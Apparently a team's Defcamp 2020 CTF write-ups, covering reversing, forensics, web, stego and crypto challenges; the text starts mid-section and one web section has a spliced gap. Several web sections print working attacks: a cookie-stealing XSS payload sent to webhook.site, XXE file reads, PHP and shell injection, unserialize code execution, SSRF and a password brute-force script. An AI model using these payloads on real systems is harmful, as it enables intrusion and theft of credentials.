`yes_i_am_a_criminal_mastermind_beaware`. Thus the flag becomes: `ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}` Solution script:```pythonfrom subprocess import check_output, CalledProcessErrorfrom string import printable, ascii_lowercasefrom itertools import productfrom hashlib import sha256 ALPHA = ascii_lowercase +"_"TARGET = "46004746409548141804243297904243125193404843946697460795444349" def run(s): with open("message.txt","w") as fd: fd.write(s) try: out = check_output(["./rev_secret_secret.o"]) return out.strip().split(b"Encoded: ")[1].decode() except CalledProcessError: print(f"Input {s} crashed") return "" def score(s1, s2): for i in range(min([len(s1),len(s2)])): if s1[i] != s2[i]: return i return min([len(s1),len(s2)]) known = "yes_i_am_a_criminal_mastermind_beawa"best = 0beststrings = []for comb in product(ALPHA, repeat=2): T = known + ''.join(comb) out = run(T) if out == TARGET: print(f"ctf{{{sha256(T.encode()).hexdigest()}}}") break if (m := score(out, TARGET)) >= best: print(T, m, out) if m > best: beststrings = [T] best = m else: beststrings.append(T) print(best)print(beststrings)``` ### kalf-gameIn this challenge we are given a snake game written in rust. Since this is ahuge binary the first thing we did was to try and find something interestingrelated to the game. By looking at strings in IDA we quickly find these:* `Level finished!`* `is the victory level!`* `ctf{}`* etc. By following the xrefs to these strings we found an interesting function at`0xE53C0`. Even with the decompiler the code looks like crap, but we could seea lot of references to strings that look like part of the flag. At `0xE5A04`there's a check to see if some number is equal to 100000, and if it is the codeproceeds to print some interesting stuff. We assumed that this was the "win" check, and that the code is checking thelevel we are currently on. So we added a breakpoint to check. In gdb we couldverify that this value did in fact match the level. The solution was then tochange the level to 10000 and let the program continue running. The flag is puttogether and printed:`ctf{ddba6614a32456631c125eb1a4327c52686c71d909a92ec05ea5eb510eae81d9}` ### yopass-go```sh$ strings yopass-go/yopass | grep ctf*runtime.structfieldfound bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime: internal error: misuse of lockOSThread/unlockOSThreadruntime.SetFinalizer: pointer not at beginning of allocated blockstrconv: internal error: extFloat.FixedDecimal called with n == 0runtime:greyobject: checkmarks finds unexpected unmarked object obj=ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}runtime: found space for saved base pointer, but no framepointer experiment/home/lucian/Desktop/ctf/yopass-go/yopass.go/home/lucian/Desktop/ctf/yopass-go/yopass.go[]runtime.structfieldruntime.structfieldruntime.structfield*runtime.structfield"[]runtime.structfield$runtime.structfield%runtime.structfield *runtime.structfield``` and there we go: `ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}` ### stripped-goused [golang_loader_assist.py](https://github.com/strazzere/golang_loader_assist) to recover symbols.main_main performs AES encryption with this passphrase: `thisis32bitlongpassphraseimusing`.and the message is: `g01sn0tf0rsk1d1e`. which means that the flag is ctf{sha256{g01sn0tf0rsk1d1e}} == ctf{a4e394ae892144a54c008a3b480a1b22a6b64dd26c4b0c9eba498330f511b51e} ### modern-loginWe quickly noticed the mp3 file that contained some Python files. We extracted the files by doing the following steps:1. Unzipping the APK and traversing to the `assets/` folder. 2. Running `file` showed us that `private.mp3` was a zipped folder. 3. Unzipping it revealed another `private.mp3` file which was a tar4. Extracting this as well provided us with several files, among them was `main.py`. At first, they just seemed like bundled files and we didn't check them out much. However, we looked at the files in the mobile file system after running the app. There, we found the same files. At this point we looked further into them. The most interesting file was `main.py`. It contained some functions to check the password and to XOR encrypt strings. Part of `main.py`:```S=leno=bytesv=enumerateW=printh=None def n(byt): q=b'viafrancetes' f=S(q) return o(c^q[i%f]for i,c in v(byt)) def d(s): y=n(s.encode()) return y.decode("utf-8")``` Running the `d()` function decrypted the XOR encrypted strings in the file. This revealed that `\x15\x1d\x07\x1dATX\x00P\x11RJG\r\x04VJW_S\x07L\x00J\x15\x0bQV\x13WZ\x07TB\x06A\x15\x0f\x02T\x10\x04^S\x07EV@\x10\r\x07\x07GPW[QFUAG]XVK\x02\rR\x18`was the flag: `ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}` ### dumb-discordWe get a file to reverse: `server.cpython-36.pyc` This is a Python bytecode file that is easy to decompile using *Uncompyle6* ```shelluncompyle6 server.cpython-36.pyc > server.py``` When looking at the code we can see that this is a Discord bot ```pythonfrom discord.ext import commandsimport discord, jsonfrom discord.utils import get def obfuscate(byt): mask = b'ctf{tryharderdontstring}' lmask = len(mask) return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt)) def test(s): data = obfuscate(s.encode()) return data intents = discord.Intents.default()intents.members = Truecfg = open('config.json', 'r')tmpconfig = cfg.read()cfg.close()config = json.loads(tmpconfig)token = config[test('\x17\x1b\r\x1e\x1a').decode()] # tokenclient = commands.Bot(command_prefix='/') @client.eventasync def on_ready(): print('Connected to bot: {}'.format(client.user.name)) print('Bot ID: {}'.format(client.user.id)) @client.command()async def getflag(ctx): await ctx.send(test('\x13\x1b\x08\x1c').decode()) # pong @client.eventasync def on_message(message): await client.process_commands(message) if test('B\x04\x0f\x15\x13').decode() in message.content.lower(): # !ping await message.channel.send(test('\x13\x1b\x08\x1c').decode()) # pong if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower(): # /getflag if message.author.id == 783473293554352141: role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode())) # dctf2020.cyberedu.ro member = discord.utils.get((message.author.guild.members), id=(message.author.id)) if role in member.roles: await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()])) # flag if test('L\x1c\x03\x17\x04').decode() in message.content.lower(): # /help await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode()) # try harder! if '/s基ay' in message.content.lower(): await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), '')) # /getflag``` The script has an encode function that uses xor to obfuscate strings. We can see that the key is `ctf{tryharderdontstring}` After xoring all of the strings in the script with this key, we now know which commands that are available:- !ping- /getflag- /help- /s基ay We can also see that in order to get the flag stored in the config file, we need an author with ID **783473293554352141** to execute the `/getflag` command.This author also needs the `dctf2020.cyberedu.ro` role. My guess is that this is the ID of the bot. But where do we find the bot? It turns out that you can invite any bot to your own Discord server if you have the ID. Here is the link:https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot&permissions=0 This user is called `DCTFTargetWhyNot`. Lets invite it to our own server ![](https://i.imgur.com/yEF7iDl.png) Now we just need to force the bot to execute the `/getflag` command, and the `/s基ay` command will help us with that. We can make the bot say anything if we pass an argument to this command. However, there are two replace methods that removes `/s基ay` and `/getflag` from our message. We can bypass this by making the `/getflag` command all uppercase, since the bot is converting all commands to lowercase. ![](https://i.imgur.com/hwRXfvJ.png) Oh no! Looks like the flag is also xor-encrypted, so we need to xor it with the same known key as we found earlier: `ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}` ## Misc### qr-maniaFirst we extracted all the pictures from the pcap using wiresharkevery picture is a QR code, so we wrote a script to dump the data from every code. qrtools was not able to deal with most of the qr codes as they were different colors, so we converted all of them into black/white pictures before decoding. the output didn't look like a flag, but we noticed that all the different parts of the flag was there (e.g. C, T, F, and {, }).After checking different things like the order the pictures were downloaded in, the date in every picture, etc. we found out that there was a comment in the EXIF data of every picture telling us the position of that picture. we used this to make an ordered list of the files: ```huquiiddfswdqalnctdi.pngrrhggrokkhbwadumtkhx.pngdglakvmqmabxcqlpgbjb.pngfbnribfqosqcgsbvslvz.pngytwlritcxznphymnsowe.pngejznsfmiucllxxespijz.pnghchwxnsotuqrtbrdmbmg.pngyzhfednrfjsvinsbbyhp.pngeiyhbbcrfnwncfsghmez.pngsuvwivhtpjkcdpcdurty.pngbiuwfrwgdocdypyliqyt.pngrmdueayyyacxcceysxtm.pnggtxiufelpdevwvcpejql.pngkxcgjifkviewjaiwydos.pngpvsyteygdilvpctcavzm.pngsrfedsijdcfewypfoeii.pngxfcbvnbakbgypttpslvk.pngdmdkaosivnyzxyzmglai.pngkbavpqschcbaxbezypla.pngloaaiwgsfohhebksrzve.pngrvvkzxxdoyzdechbpaiw.pngxsdkmqnnwrscbvbbprsw.pngvcdqnjgliurrsbczwljv.pngdfhwcysjjnrnhfziizlr.pngdwpgvvlipmmhlkulbrtt.pnghsqqemzyyeqczawnerdp.pngilymnjclovkuejytnwvi.pngjckteobzkpvxoqqrqovd.pnglilikwxihvrdnqsvepqz.pngzslcptglhdyldbzmlren.pngbynatxrryamhwwhmmroj.pngkamdmutdlzdoypbozuhz.pngoedfvuiyglrsmoociury.pngofqmletvbqbxzygbzdrh.pngrkdyzefqczfgxaqkqxpt.pngxcrtvutynuuswwpcqojs.pngyepskbbojoroewcotddo.pngcllzodvnyvvmbppaktsd.pngdhqclnghhlrjxjmhjzon.pngkzlibdjxvtbgtiaowvez.pngqpuohuugyhrhfaxdyqux.pngxgslqgwnecldbojahatx.pngkgzjqaffmkezutjdcqyw.pngkmziktrekxzaihwkocfj.pnglrhsihqzqeuisjlgoyky.pngnhbiyacdrbxgrutijbxi.pngeioshuilsoxydsahsfnl.pngrvvcnqbnbdslgdrwatrk.pngdtruebslzybqbiewkwjr.pngdwesxvndmatigdqdvcpr.pngnkmswrsvwrnmapsnillk.pngoyhwsqkdqheovawwlggm.pngpgkrzpxhehywhtmkjgsb.pngavudtreighimhcgmwape.pngkuimxqwkydzdfhvwzayz.pngyybbwqnirqzldfiheiyh.pngzstxtahbtgccautnswcf.pngszpzkekngxnasbbjwhhx.pngxhaffangdrxmuvdpurdh.pnguwjmnpykkkaoxdeesmxi.pngajxxcwfgozxpbhnauore.pnggzmshnrwkknmmitqnqzp.pnghfnkcgtjyeprtbaldxxk.pnglkvdwmunrarpuyqzdyne.pngjkfxjauvqodhqwzblgen.pngvuiwwzjdojhdlaaamzwb.pnglmmfdbfmheysbhbgjazn.pngwbuhqpnwfuovgdwoedoc.pngczguxctbmqgfgxhvnwzr.png``` with that list we could run our script again to get the flag:```python#!/usr/bin/env python3import qrtoolsimport osfrom PIL import Image def get_colors(pic): im = Image.open(pic, "r") pix = im.load() return set([pix[x,y] for y in range(im.size[1]) for x in range(im.size[0])]) def convert_colors(pic): im = Image.open(pic) white = ( 255, 255, 255 ) black = ( 0, 0, 0 ) pix = im.load() white_target = pix[0, 0] print(f"target: {white_target}") out = f"{pic[:-4]}_fixed.png" im2 = Image.new("RGB", im.size, (255, 255, 255)) pix2 = im2.load() for y in range(im.size[1]): for x in range(im.size[0]): if pix[x,y] == white_target: pix2[x,y] = white else: pix2[x,y] = black im2.save(out, "PNG") return out import re def main(file_list): with open(file_list, "r") as f: files = f.readlines() cnt = 0 res = {} for filename in files: filename = filename.rstrip() if ".png" not in filename: continue print(filename) fixed = convert_colors(filename) qr = qrtools.QR() qr.decode(fixed) print(f"{filename}: {qr.data}") if qr.data is None: print("failed!") break from subprocess import check_output out = check_output(f"exiftool {filename}", shell=True).decode("utf-8") m = re.search(r"Comment.*: ([0-9]+)/69", out) num = int(m[1]) res[num] = qr.data from pprint import pprint pprint(res) flag = "".join([res[i] for i in range(1, 69+1)]) print(flag) if __name__ == "__main__": main("files.txt")``` `CTF{2b2e8580cdf35896d75bfc4b1bafff6ee90f6c525da3b9a26dd7726bf2171396}`
# Defcamp 2020 writeups :triangular_flag_on_post: ## Team information**Team name:** bootplug **Country**: Norway **CTFTime profile**: https://ctftime.org/team/81341 **Authors**zup, PewZ, UnblvR, maritio_o, odin We solved 25/26 challenges. Did not solve `inorder` --- ## Forensics### basic-comsWe get a pcap file. Searched for `http` traffic and found a single stream with some very interesting information in it ![](https://i.imgur.com/rpdwAsd.png) This **GET** request seems to contain an interesting parameter that looks like a flag. Decoding this from URL encoding yields the flag```The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format``` `CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}` ### t3am_vi3w3rNoticed some DNS requests in the PCAP to RealVNC websites. Filtering on VNC traffic (`vnc` as filter in Wireshark) lists up some "broken" PDUs, but they are most likely just too new for Wireshark to handle. Looking at the last byte of all these PDUs, we see that some text is entered - one letter at a time. It writes out the "Bee Movie" script, with the flag somewhere in the middle of it. By simply looking for a value that matches '{', I was able to read out each letter of the flag and communicate it to a team mate that wrote it down. flag: `DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}` ### hunting-into-the-wildQ1. Based on the text, and obviois tool to think about is mimkaz, which often contain sekurlsa in the commanline. Used the following search on winlogbeat index:```process.args: *sekurlsa*```Shows process name: mim.exe Q2.Seeing that most "malicous" related to APTSimulator, looking for events around this activity and filtering based on common native tools used for downloading, we found the following:```certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js``` Q3. By going back in timeline to see source of all the malicous events, the following command was found:```C:\Windows\system32\cmd.exe /c ""C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat```CTF{APTSimulator.bat} Q4. Common command used for user management at windows is ```net user```, search for this actiovity within the timeline of the malicous commands, the following command line was found:```net user guest /active:yes``` ### spy-agency Volatility imagescan shows that the relevant profile is `Win7SP1x64`. After a brief `pstree` and `filescan`, we see that there's not really that much happening process-wise. But Chrome has been used to download a file from WeTransfer: ``` 0x000000003fa82210 16 0 RW---- \Device\HarddiskVolume2\Users\volf\Downloads\app-release.apk.zip``` We weren't able to dump this exact file, but there were some copies of it located on the desktop that could be dumped using `dumpfiles -Q XXX` with XXX being the physical address from the filescan output. The Chrome history also showed some Google searches for Bluestacks, an Android emulator, but none of its binaries were present. The belief is that someone downloaded this APK, then ran it locally in Bluestacks to get the secret location - which is the goal of this challenge. The zip file does not contain an APK at all, but a directory, which contains the contents of an APK. This breaks normal decompilers like JADX, but luckily it's easy to repack it as a proper APK file. After some brief reversing of the app, it looks like it is just a simple "Hello, World!" Android application, that only shows a single view with a "Hello World" message. ```javapackage com.example.hidden_place; import android.os.Bundle;import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { /* access modifiers changed from: protected */ public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); }}``` However, inside drawables, there's a hidden file: `res/drawable/coordinates_can_be_found_here.jpg`. In the EXIF data of this image, there's some coordinates `-coordinates=44.44672703736637, 26.098652847616506` pointing to a Pizza hut. Flag: `ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f}` (sha256 of 'pizzahut') ## Web### alien-inclusionThis is a very simple PHP server. The flag is located in `/var/www/html/flag.php` ```php 15: print("cmd too long!") return data = { "password": "foobardeadbeefdsadsa" } req = requests.post(url, data=data) tmp = req.content.decode("utf-8") idx = tmp.index("/secrets") secret = tmp[idx:].split("'")[0] print(secret) url += secret print(url) params = { "tryharder": cmd } req = requests.get(url, params=params) print(req.content) req = requests.get(url) print(req.content) if __name__ == "__main__": main("http://35.242.253.155:30574", "${`ln -s /var`}") main("http://35.242.253.155:30574", "${`mv var o`}") main("http://35.242.253.155:30574", "${`ln -s o/w*`}") main("http://35.242.253.155:30574", "${`mv www l`}") main("http://35.242.253.155:30574", "${`ln -s l/h*`}") main("http://35.242.253.155:30574", "${`mv html j`}") main("http://35.242.253.155:30574", "${`cat j/f*>2`}") main("http://35.242.253.155:30574", "${print`cat 2`}")``` We can inject php using the `tryharder` parameter, but it has to be less than 16 characters. In addition, the data we can change is part of a doc string (heredoc). We use ${} to run php and backticks to run shell commands.Running the solution script gives us the flag:`ctf{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}` ### pirate-crawlerThere is nothing on the main page. First we found `/console` endpoint by dirbusting. However, the debugger console was protected with a PIN. In the task description they mentioned APIs. So we tried to find `/api`, `/v1` and `/v2` etc.We then found some interesting endpoints. * `/v1` - mentions that `/v1` is disabled and that we should see the changelog for more information.* `/v2` - mentions that this is the `V2 API ROUTE` We then tried to find the CHANGELOG file:```shell$ http GET 'http://138.68.93.187:6960/v2/CHANGELOG'HTTP/1.0 200 OKContent-Length: 204Content-Type: text/html; charset=utf-8Date: Mon, 07 Dec 2020 16:47:24 GMTServer: Werkzeug/1.0.1 Python/3.6.9 #1: V1 context - V1 api routes disabled after sambacry #2: V2 context - crawl route parammeter changed to 'adshua' to prevent abuse #3: V2 context - added new safe SMbHandler to prevent sambacry``` We now know that SMB is involved and that there is an endpoint called `/v2/crawl`.We can use this endpoint to visit web pages, but it has an SSRF vulnerability. This meansthat we can fetch files from the server, or visit internal web pages. Using this vulnerability we fetched the SMB config and the app.py source code: `curl -D- http://138.68.93.187:6960/v2/crawl?adshua=file:///etc/samba/smb.conf --output smb.conf` `curl -D- 'http://138.68.93.187:6960/v2/crawl?adshua=file:///home/ctfuser/app.py' --output app.py` There is an interesting entry in SMB config```ini[josh] path = /samba/josh browseable = yes read only = yes guest ok = yes force create mode = 0660 force directory mode = 2770 valid users = josh @sadmin``` `josh` is an SMB share, and we can authenticate to this share as `josh`.We also see a new API endpoint for SMB ```[email protected]("/v2/smb", methods=["GET"])def smb(): #this might ROCK YOUr world! if request.args.get('onlyifyouknowthesourcecode'): director = urllib.request.build_opener(SMBHandler) fh = director.open(request.args.get('onlyifyouknowthesourcecode')) buf = fh.read() fh.close() return buf``` There is a hint refering to `rockyou.txt` in the source code. So now we just create a script to bruteforce josh's password using this wordlist. ```python#!/usr/bin/env python3import requestsimport sys url = "http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:{password}@localhost/josh/flag.txt" with open(sys.argv[1]) as wlist: for pw in wlist: pw = pw.rstrip() r = requests.get(url.format(password=pw)) if "not authenticated" not in r.text: if "filedescriptor out of range" not in r.text: print(r.text) print(f"PASS: {pw}")``` The correct password is `christian`. We can now get the flag! `http GET 'http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:christian@localhost/josh/flag.txt'` The flag is: `ctf{6056850ae00cb2cdc76d2bfa0bcb40ee3cc744702a31af0a8edd7fb2872da6f9}` ### syntax-checkThis task took a while to figure out. The task description is```Some languages can be read by human, but not by machines, while others can be read by machines but not by humans. This markup language solves this problem by being readable to neither. The flag is in /var/www/html/flag.``` The button on the main page does not work at all. It sets a GET parameter called `<foo>Hi!</foo>` and we get an error page saying "Empty string supplied as input." The trick was to figure out that you had to send something in the request body instead of a GET parameter. `curl -D- -XGET 'http://34.107.22.248:30526/parse' --data test` A new error message: `That XML string is not well-formed` Now we get a clue that the data we send is should be XML. The vulnerability here must be XML External Entity processing. We can try to create some entities that fetches local files on the server. ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` We get the `/etc/passwd` file back!```...gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinwww:x:1000:3000::/var/www:/usr/sbin/nologin``` However we cannot leak the flag using base64 encoding. ```shellcurl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` The error message is `You just tried to exfiltrate using base64? Nice. Try again!` Seems like there is some sort of filter checking the output. We can't convert the PHP flag file into base64. It is still possible to convert the PHP file into UTF-16 though: ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'```We then get this string `瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡㄰〳੽` We can convert this to UTF-8 and get the flag! `ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}` ### cross-meThe challenge name is a hint that this is an XSS challenge. After you have logged in you can post notes to the website. The admin will check every note you create. When trying to post `<script>` tags we get an error message: `Invalid input. Failed at /<[^\w<>]*[ \/]\w*/i` The server is validating our notes using regex. It has quite a few different patterns that it checks: - `/<[^\w<>]*[ \/]\w*/i`- `/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i`- `/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im`- ```/["'\(\)\.:\-\+> `]/im``` The best way I found to bypass this check is to convert our javascript into HTML entities: e.g. `asdasd` -> `asdasd` After trial and error I found out that the `<svg>` tag is your best bet! We can use its **onload** method which is not matched by the regex pattern above. ("load" is shorter than 5 characters). Let's test this by fetching the admin's cookie. We can't have spaces, and can't have any `>` tag at the end. But it still works: `<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<` Convert the javascript to HTML entities:```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<'``` We now get a request from the admin. But there is no flag in the cookies...I then noticed the referer header in the request from admin: `Referer: http://127.0.0.1:1234/index.php?page=post&id=221` If we make the admin fetch this website and send the result back to us, we might get the flag.The new plan is to use **fetch**: ```jsfetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})``` This javascript posts the entire website back to us. When converting this to HTML entities, we can do the request to get the flag :) ```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=fetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})//<'``` FLAG: `CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}` ### environIt is a login page, but we cannot login, and there is no button to register an account.After doing some enumeration we found a few endpoints that seems interesting - /index.php- /login- /forgot-password- /register- /dashboard- /assets- /css- /js- /backup At `/register` we can register an account and we get redirected to `/dashboard````Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team.``` If we go to `/index.php` we can see this message:```Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team. Also you can use /decode/{text} to obtain the contents of your private message.``` A new endpoint! `/decode/{text}`. Almost everything we tried to insert as *text* makes the server respond with `bool(false)` If you insert a symbol, you get `File not found`. I created a script to enumerate all the valid characters:```python#!/usr/bin/env python3import requestsimport string url = "http://35.198.183.125:30278/decode/" valid_chars = [] headers = { "Cookie": "laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D", "Accept": "application/json"} for c in string.printable: r = requests.get(url+c, headers=headers) if "bool(false)" in r.text: valid_chars.append(c) else: print(r.text.strip()) print(''.join(valid_chars))``` The valid characters are `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%+=` This looks like base64 to me! At this point we started looking at the other endpoints, and found out that `/backup` is a git repository. We dumped the repository using [git-dumper.py](https://github.com/arthaud/git-dumper) (I had to replae all ".git" with "backup" for it to work) and find `.env.example` that contains an AES key: `APP_KEY=base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=` We also find the decode function used in the Laravel app. ```phppublic function decode(Request $request, $secret) { $key = env('APP_KEY'); $cipher = "AES-256-CBC"; $iv = substr(env('APP_KEY'), 0, 16); $secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv)); var_dump($secret_message); }``` This function decrypts our secret message and unserializes it. Maybe we can try to exploit this unserialization? To do this we need to find a class that has a constructor / deconstructor that does something unsafe. I found just the class for this in `app/Http/Middleware/YourChain.php` ```php<?php namespace App\Http\Middleware; use Closure;use Illuminate\Http\Request; class YourChain{ /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ // public function handle(Request $request, Closure $next) // { // return $next($request); // } public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)) { if(isset($this->inject[5])){ eval($this->inject[5]); } } }}``` If we can create a serialized object with an `$inject` parameter that is an Array, we can eval php code of our choice. The 5th index must contain the code that should be evaled. I did this by opening an interactive session with php: `php -a````php$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";$iv = substr($key, 0, 16); echo openssl_encrypt("O:29:\"App\\Http\\Middleware\\YourChain\":1:{s:6:\"inject\";a:6:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;s:0:\"\";i:3;s:0:\"\";i:4;s:0:\"\";i:5;s:29:\"system('base64 ../flag.php');\";}}", "AES-256-CBC", $key, 0, $iv);``` Which yields `6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==` We can send this encrypted text to the `/decode` endpoint to get our command executed!I tried multiple commands before I finally found flag.php in a directory. ```shell$ http GET "http://35.198.183.125:30278/decode/6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==" Cookie:laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D %``` FLAG: `ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}` ## Steganography### stug-referenceThe task description says:```Do you have your own stug pass hidden within?```We get a jpg image. The most obvious thing to try is *steghide*.First I tried to use steghide without a password, but that did not work. Then I noticed the task description again: `stug pass hidden within`. I then tried to extract using `stug` as password: ```shell$ steghide extract -sf stug.jpgEnter passphrase: wrote extracted data to "flag.txt".```flag.txt: `ctf{32849dd9d7e7b313c214a7b1d004b776b4af0cedd9730e6ca05ef725a18e38e1}` ## Crypto### bro64```python#!/usr/bin/env python3import jsonimport requests from base64 import b64decodefrom pprint import pprint from Crypto.Cipher import ChaCha20, Salsa20 # {"nonce": "TzMh7RxMJr8=", "ciphertext": "IynkKnGon3iK4oNSv59tqdLlpIowmfpiH88Vj1CjQBm3SvTcwTbrnY4q/UWKtJRu0M3v4sl+C0k8QFM8pdpyFCkE9Nur", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"} def main(url): res = requests.get(url) if res.status_code != 200: print("failed!") return res = json.loads(res.content) pprint(res) key = res["key"] nonce = b64decode(res["nonce"]) ciphertext = b64decode(res["ciphertext"]) print(f"key length: {len(key)}") print(f"ciphertext length: {len(ciphertext)}") print(f"nonce length: {len(nonce)}") #cipher = Salsa20.new(key=key.encode("utf-8"), nonce=nonce) #plaintext = cipher.decrypt(ciphertext) #print(plaintext) cipher = ChaCha20.new(key=key.encode("utf-8"), nonce=nonce) plaintext = cipher.decrypt(ciphertext) print(plaintext) if __name__ == "__main__": main("http://34.89.241.255:30013") # ctf{f38deb0782c0f252090a52b2f1a5b05bf2964272f65d5c3580be631f52f4b3e0}```tried to find a cipher that matched with the key length etc. We noticed that the length of the ciphertext wasn't a multiple of normal block sizes, so we assumed a stream cipher. Then we tried to find a stream cipher that used base64 encoded nonce, and a key size of 256 bit. after some trial and error we found out that ChaCha20 was a match. ### why-xorWe get a Python script```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 